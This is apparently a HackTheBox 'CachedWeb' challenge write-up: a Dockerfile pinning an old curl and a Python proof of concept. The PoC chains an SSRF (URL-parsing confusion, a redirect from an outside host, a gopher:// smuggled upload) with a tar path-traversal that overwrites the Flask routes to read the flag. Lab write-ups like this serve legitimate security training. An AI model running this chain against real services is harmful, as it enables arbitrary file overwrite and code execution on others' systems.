HackTheBox CachedWeb Challenge
https://app.hackthebox.com/challenges/503
Description
I made a service for people to cache their favourite websites, come and check it out!
Exploitation
The docker build produced library errors in ./configure --with-ssl --prefix=/usr/local during compilation, so I used a repository that provided the required pkg curl 7.52.1.
Get an alphine shell to test and find the errors
docker run --rm -it python:3-alpine sh
Fixed Dockerfile
FROM python:3-alpine
# Install packages
RUN apk add --update --no-cache chromium chromium-chromedriver supervisor openssl build-base
# Install & compile curl 7.52
#RUN cd /usr/local/
#RUN apk add curl
#RUN apk add --no-cache gcc musl-dev curl-dev python3-dev libffi-dev openssl-dev
#RUN wget https://curl.haxx.se/download/curl-7.52.0.tar.gz && tar xfz curl-7.52.0.tar.gz z
#RUN cd curl-7.52.0/ && ./configure --with-ssl --prefix=/usr/local && make -j 16 && make install
#RUN export PYCURL_CURL_CONFIG=/usr/local/bin/curl-config
#RUN ln -s /usr/local/lib/libcurl.so.4 /usr/lib/libcurl.so.4
# https://mirrors.ircam.fr/pub/alpine/v3.2/main/x86_64/
RUN echo "https://mirrors.ircam.fr/pub/alpine/v3.2/main" >> /etc/apk/repositories && \
apk update && \
apk add --no-cache --allow-untrusted libcrypto1.0 libssl1.0 curl=7.52.1-r1 curl-dev=7.52.1-r1
# Cleanup
#RUN rm -rf curl-*
# Upgrade pip
RUN python -m pip install --upgrade pip
# Install dependencies
RUN pip install pycurl selenium Flask
# Setup app
RUN mkdir -p /app
# Switch working environment
WORKDIR /app
# Add application
COPY challenge .
# Setup supervisor
COPY config/supervisord.conf /etc/supervisord.conf
# Expose port the server is reachable on
EXPOSE 1337
# Disable pycache
ENV PYTHONDONTWRITEBYTECODE=1
# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
Use a vps to fwd local port 3000 to the vps with open ports or use something like ngrok
ssh -N -R 3000:localhost:3000 server
Poc
import tarfile, time, io
routes = '''
from flask import Blueprint
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def f(): return open('/app/flag').read()
'''
zipslip = io.BytesIO()
tar = tarfile.open(fileobj=zipslip, mode='w:gz')
info = tarfile.TarInfo('../app/application/blueprints/routes.py')
info.mtime = time.time()
info.size = len(routes)
tar.addfile(info, io.BytesIO(routes.encode()))
tar.close()
body=b''.join([
b'--htb\r\n',
b'Content-Disposition: form-data; name="file"; filename="htb.tar"\r\n',
b'Content-Type: application/x-tar\r\n\r\n',
zipslip.getvalue(),b'\r\n',
b'--htb--\r\n'
])
req=(b'POST /api/upload HTTP/1.1\r\n'
b'Host: 127.0.0.1:1337\r\n'
b'Content-Type: multipart/form-data; boundary=htb\r\n'
b'Connection: close\r\n'
b'Content-Length: '+str(len(body)).encode()+b'\r\n\r\n')+body
print(req.decode('latin-1','replace'))
from urllib.parse import quote_from_bytes
url='gopher://127.0.0.1:1337/_'+quote_from_bytes(req,safe='')
print(url)
import threading,json,urllib.request,time
from http.client import RemoteDisconnected
from http.server import BaseHTTPRequestHandler,HTTPServer
class H(BaseHTTPRequestHandler):
def log_message(self,*a,**k): pass
def do_GET(self):
self.send_response(302)
self.send_header("Location",url)
self.send_header("Connection","close")
self.send_header("Content-Length","0")
self.end_headers()
threading.Timer(0.2,self.server.shutdown).start()
httpd=HTTPServer(("0.0.0.0",3000),H)
threading.Thread(target=httpd.serve_forever,daemon=True).start()
target='http://localhost:1337'
remote='x3ric.com:3000'
data=json.dumps({"url":f"http://foo@{remote}@google.com/"}).encode()
req=urllib.request.Request(target+"/api/cache",data=data,headers={"Content-Type":"application/json"})
try:
with urllib.request.urlopen(req,timeout=10) as r: r.read(1)
except RemoteDisconnected: pass
time.sleep(0.3)
httpd.server_close()
with urllib.request.urlopen(target,timeout=10) as r:
print('\n'+str(r.getcode()),r.read(200))
Summary
CachedWeb: chain SSRF with path control to reach the internal target and read the flag.